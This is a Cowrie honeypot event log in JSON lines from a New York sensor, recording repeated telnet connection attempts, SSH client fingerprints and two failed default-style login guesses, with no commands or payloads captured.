{"eventid":"cowrie.session.closed","duration":31.140612363815308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:20.208878Z","src_ip":"103.137.231.186","session":"56c3b0b9fb04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38198,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e0f98353cea","protocol":"telnet","message":"New connection: 159.203.13.64:38198 (10.17.0.5:23) [session: 4e0f98353cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:20.442608Z"}
{"eventid":"cowrie.session.closed","duration":30.5857994556427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:21.243148Z","src_ip":"103.137.231.186","session":"f4aa4734fd37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50898,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bd43d26bb91","protocol":"telnet","message":"New connection: 103.137.231.186:50898 (159.203.135.109:23) [session: 0bd43d26bb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:21.358874Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":48172,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f7c9bfeb5d3","protocol":"telnet","message":"New connection: 169.38.112.222:48172 (10.17.0.5:23) [session: 7f7c9bfeb5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:21.788587Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50910,"dst_ip":"159.203.135.109","dst_port":23,"session":"874dc82ef8ac","protocol":"telnet","message":"New connection: 103.137.231.186:50910 (159.203.135.109:23) [session: 874dc82ef8ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:22.822114Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50926,"dst_ip":"159.203.135.109","dst_port":23,"session":"118bbd43d93a","protocol":"telnet","message":"New connection: 103.137.231.186:50926 (159.203.135.109:23) [session: 118bbd43d93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:22.844246Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50942,"dst_ip":"159.203.135.109","dst_port":23,"session":"c51c3761039a","protocol":"telnet","message":"New connection: 103.137.231.186:50942 (159.203.135.109:23) [session: c51c3761039a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:23.060111Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50970,"dst_ip":"159.203.135.109","dst_port":23,"session":"28c23d73511a","protocol":"telnet","message":"New connection: 103.137.231.186:50970 (159.203.135.109:23) [session: 28c23d73511a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:23.966151Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50986,"dst_ip":"159.203.135.109","dst_port":23,"session":"b455ca66522b","protocol":"telnet","message":"New connection: 103.137.231.186:50986 (159.203.135.109:23) [session: b455ca66522b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:24.207995Z"}
{"eventid":"cowrie.session.closed","duration":30.68117880821228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:24.227487Z","src_ip":"103.137.231.186","session":"eb487815610c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45868682861328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:24.673337Z","src_ip":"103.137.231.186","session":"c5c524db3c1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00034213066101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:25.119389Z","src_ip":"103.137.231.186","session":"a72615f17df5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814194679260254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:25.216375Z","src_ip":"103.137.231.186","session":"0872c4738ae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50998,"dst_ip":"159.203.135.109","dst_port":23,"session":"54b5c32393e1","protocol":"telnet","message":"New connection: 103.137.231.186:50998 (159.203.135.109:23) [session: 54b5c32393e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:26.652790Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51002,"dst_ip":"159.203.135.109","dst_port":23,"session":"93f59e7b40ab","protocol":"telnet","message":"New connection: 103.137.231.186:51002 (159.203.135.109:23) [session: 93f59e7b40ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:27.032702Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51008,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cebfdd33070","protocol":"telnet","message":"New connection: 103.137.231.186:51008 (159.203.135.109:23) [session: 9cebfdd33070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:27.089085Z"}
{"eventid":"cowrie.session.closed","duration":30.60076642036438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:29.141919Z","src_ip":"103.137.231.186","session":"6bb6fbf5be28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83464741706848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:29.270562Z","src_ip":"152.53.125.71","session":"5077f986e3f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.36250829696655,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:29.592600Z","src_ip":"159.203.13.64","session":"5d4c060eacb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.263072729110718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:30.109514Z","src_ip":"169.38.112.222","session":"1a2c85233359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38628,"dst_ip":"159.203.135.109","dst_port":23,"session":"a81136d38d67","protocol":"telnet","message":"New connection: 103.137.231.186:38628 (159.203.135.109:23) [session: a81136d38d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:30.451602Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38634,"dst_ip":"159.203.135.109","dst_port":23,"session":"1322e4559d32","protocol":"telnet","message":"New connection: 103.137.231.186:38634 (159.203.135.109:23) [session: 1322e4559d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:30.816188Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38616,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba3c23f194b8","protocol":"telnet","message":"New connection: 103.137.231.186:38616 (159.203.135.109:23) [session: ba3c23f194b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:31.023750Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38650,"dst_ip":"159.203.135.109","dst_port":23,"session":"e840d9607129","protocol":"telnet","message":"New connection: 103.137.231.186:38650 (159.203.135.109:23) [session: e840d9607129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:32.359392Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38614,"dst_ip":"159.203.135.109","dst_port":23,"session":"9df6a0f0e201","protocol":"telnet","message":"New connection: 103.137.231.186:38614 (159.203.135.109:23) [session: 9df6a0f0e201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:32.502036Z"}
{"eventid":"cowrie.session.closed","duration":35.64192080497742,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:32.901176Z","src_ip":"159.203.13.64","session":"0a5ae0db5f87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49494,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c1d5b4db77f","protocol":"telnet","message":"New connection: 159.203.13.64:49494 (10.17.0.5:23) [session: 3c1d5b4db77f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:33.203662Z"}
{"eventid":"cowrie.session.closed","duration":31.32496666908264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:33.230417Z","src_ip":"103.137.231.186","session":"b76c378b3db1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53526,"dst_ip":"10.17.0.5","dst_port":23,"session":"1936708a6f26","protocol":"telnet","message":"New connection: 152.53.125.71:53526 (10.17.0.5:23) [session: 1936708a6f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:33.816731Z"}
{"eventid":"cowrie.session.closed","duration":31.207709789276123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:34.130007Z","src_ip":"103.137.231.186","session":"e11bbb9a8f11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895379066467285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:34.342697Z","src_ip":"152.53.125.71","session":"57ed635480dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003262042999268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:34.481735Z","src_ip":"103.137.231.186","session":"366e0df08f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.256160736083984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:34.588948Z","src_ip":"103.137.231.186","session":"53f729aaabc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273348808288574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:35.324108Z","src_ip":"103.137.231.186","session":"278c6e5ef59e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38674,"dst_ip":"159.203.135.109","dst_port":23,"session":"7822a8c8e4e2","protocol":"telnet","message":"New connection: 103.137.231.186:38674 (159.203.135.109:23) [session: 7822a8c8e4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:35.401827Z"}
{"eventid":"cowrie.session.closed","duration":30.931512594223022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:35.607768Z","src_ip":"103.137.231.186","session":"887fe576f9c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38678,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea78f5ffacb0","protocol":"telnet","message":"New connection: 103.137.231.186:38678 (159.203.135.109:23) [session: ea78f5ffacb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:35.766186Z"}
{"eventid":"cowrie.session.closed","duration":40.14173245429993,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:36.046871Z","src_ip":"159.203.13.64","session":"e00fe1936a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89016842842102,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:36.126986Z","src_ip":"169.38.112.222","session":"b0a86431802e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146135568618774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:36.162340Z","src_ip":"103.137.231.186","session":"7d0605bd0069","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49510,"dst_ip":"10.17.0.5","dst_port":23,"session":"183b8b30d102","protocol":"telnet","message":"New connection: 159.203.13.64:49510 (10.17.0.5:23) [session: 183b8b30d102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:36.306149Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38702,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a0f28c602fa","protocol":"telnet","message":"New connection: 103.137.231.186:38702 (159.203.135.109:23) [session: 4a0f28c602fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:36.501779Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38724,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f8ca087b085","protocol":"telnet","message":"New connection: 103.137.231.186:38724 (159.203.135.109:23) [session: 0f8ca087b085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:36.997153Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38728,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4b2a461e5d6","protocol":"telnet","message":"New connection: 103.137.231.186:38728 (159.203.135.109:23) [session: a4b2a461e5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:37.078887Z"}
{"eventid":"cowrie.session.closed","duration":31.282925367355347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:37.138557Z","src_ip":"103.137.231.186","session":"97986ae7ee03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61089539527893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:37.166889Z","src_ip":"169.38.112.222","session":"9367e82f04fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38708,"dst_ip":"159.203.135.109","dst_port":23,"session":"19196d7d97c5","protocol":"telnet","message":"New connection: 103.137.231.186:38708 (159.203.135.109:23) [session: 19196d7d97c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:37.751243Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38690,"dst_ip":"159.203.135.109","dst_port":23,"session":"789a79c13494","protocol":"telnet","message":"New connection: 103.137.231.186:38690 (159.203.135.109:23) [session: 789a79c13494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:37.902231Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":52518,"dst_ip":"159.203.135.109","dst_port":22,"session":"49f2e7d81600","protocol":"ssh","message":"New connection: 186.13.24.118:52518 (159.203.135.109:22) [session: 49f2e7d81600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:37.936481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:37.940919Z","src_ip":"186.13.24.118","session":"49f2e7d81600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.099149Z","src_ip":"186.13.24.118","session":"49f2e7d81600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.467835426330566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.136119Z","src_ip":"169.38.112.222","session":"dcbb28d953b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.476142644882202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.149630Z","src_ip":"103.137.231.186","session":"3ff68a431702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.704684734344482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.296338Z","src_ip":"103.137.231.186","session":"e658b1430be7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34808,"dst_ip":"159.203.135.109","dst_port":22,"session":"647b4a57b0b2","protocol":"ssh","message":"New connection: 159.203.92.129:34808 (159.203.135.109:22) [session: 647b4a57b0b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.323176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.328079Z","src_ip":"159.203.92.129","session":"647b4a57b0b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.332424Z","src_ip":"159.203.92.129","session":"647b4a57b0b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.422149419784546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.341943Z","src_ip":"103.137.231.186","session":"5fed29501800","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"alvin","password":"alvin","message":"login attempt [alvin/alvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.349810Z","src_ip":"159.203.92.129","session":"647b4a57b0b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1111","message":"login attempt [git/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.755894Z","src_ip":"186.13.24.118","session":"49f2e7d81600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":38732,"dst_ip":"159.203.135.109","dst_port":23,"session":"73e4236beba5","protocol":"telnet","message":"New connection: 103.137.231.186:38732 (159.203.135.109:23) [session: 73e4236beba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:38.955137Z"}
{"eventid":"cowrie.session.closed","duration":30.42703080177307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:39.211121Z","src_ip":"169.38.112.222","session":"3aa216ec1d64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.444092750549316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:39.268443Z","src_ip":"103.137.231.186","session":"ef064ff61973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60660,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8bbf129a8b9","protocol":"telnet","message":"New connection: 103.137.231.186:60660 (159.203.135.109:23) [session: f8bbf129a8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:39.343791Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:39.355981Z","src_ip":"159.203.92.129","session":"647b4a57b0b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:39.915505Z","src_ip":"186.13.24.118","session":"49f2e7d81600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.263550519943237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:40.240875Z","src_ip":"103.137.231.186","session":"e95883393bce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50620436668396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:40.247671Z","src_ip":"103.137.231.186","session":"558a06d61c06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":60682,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f5fbadbbde4","protocol":"telnet","message":"New connection: 103.137.231.186:60682 (159.203.135.109:23) [session: 9f5fbadbbde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:40.901556Z"}
{"eventid":"cowrie.session.closed","duration":31.559637546539307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:16:40.937973Z","src_ip":"103.137.231.186","session":"2560f099bf9c","protocol":"telnet"}
